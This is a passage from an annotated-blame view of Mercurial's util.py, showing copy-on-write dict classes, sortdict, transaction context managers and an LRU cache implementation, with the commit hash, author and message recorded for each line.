c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
600
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
601 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
602 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
603
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
604 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
605 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
606 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
607 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
608 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
609 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
610
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
611 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
612 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
613 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
614 return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
615
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
616 class sortdict(collections.OrderedDict):
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
617 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
618
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
619 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
620 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
621 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
622 sortdict([('a', 0), ('b', 1)])
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
623 >>> d2.update([(b'a', 2)])
34154
be00af4a1ac5 doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents: 34152
diff changeset
624 >>> list(d2.keys()) # should still be in last-set order
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
625 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
626 '''
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
627
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
628 def __setitem__(self, key, value):
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
629 if key in self:
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
630 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
631 super(sortdict, self).__setitem__(key, value)
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
632
33624
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
633 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
634 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
635 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
636 if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
637 src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
638 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
639 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
640
34358
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
641 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
642 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
643
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
644 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
645
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
646 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
647 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
648 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
649 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
650 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
651 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
652 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
653 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
654 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
655 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
656 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
657 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
658 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
659 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
660 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
661 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
662 False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
663 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
664 True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
665 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
666
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
667 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
668 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
669
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
670 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
671 """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
672
33814
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
673 class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
674 """Base class for making a transactional type into a context manager."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
675 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
676
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
677 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
678 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
679 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
680
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
681 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
682 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
683 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
684
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
685 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
686 """
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
687
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
688 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
689 return self
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
690
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
691 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
692 try:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
693 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
694 self.close()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
695 finally:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
696 self.release()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
697
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
698 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
699 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
700 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
701
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
702 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
703 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
704 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
705 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
706 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
707 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
708 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
709 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
710 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
711 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
712 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
713 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
714 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
715
33691
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
716 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
717 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
718 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
719
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
720 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
721 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
722
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
723 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
724 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
725 """
30038
42ead5b3aa7b py3: use unicodes in __slots__
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30036
diff changeset
726 __slots__ = (u'next', u'prev', u'key', u'value')
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
727
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
728 def __init__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
729 self.next = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
730 self.prev = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
731
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
732 self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
733 self.value = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
734
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
735 def markempty(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
736 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
737 self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
738
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
739 class lrucachedict(object):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
740 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
741
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
742 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
743 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
744 the cache.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
745
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
746 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
747 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
748 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
749 new head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
750 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
751 def __init__(self, max):
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
752 self._cache = {}
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
753
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
754 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
755 head.prev = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
756 head.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
757 self._size = 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
758 self._capacity = max
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
759
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
760 def __len__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
761 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
762
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
763 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
764 return k in self._cache
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
765
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
766 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
767 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
768 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
769 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
770 yield n.key
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
771 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
772
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
773 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
774 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
775 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
776 return node.value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
777
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
778 def __setitem__(self, k, v):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
779 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
780 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
781 if node is not None:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
782 node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
783 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
784 return
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
785
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
786 if self._size < self._capacity:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
787 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
788 else:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
789 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
790 node = self._head.prev
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
791
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
792 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
793 if node.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
794 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
795
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
796 node.key = k
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
797 node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
798 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
799 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
800 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
801 self._head = node
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
802
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
803 def __delitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
804 node = self._cache.pop(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
805 node.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
806
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
807 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
808 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
809 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
810 self._head = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
811
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
812 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
813
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
814 def get(self, k, default=None):
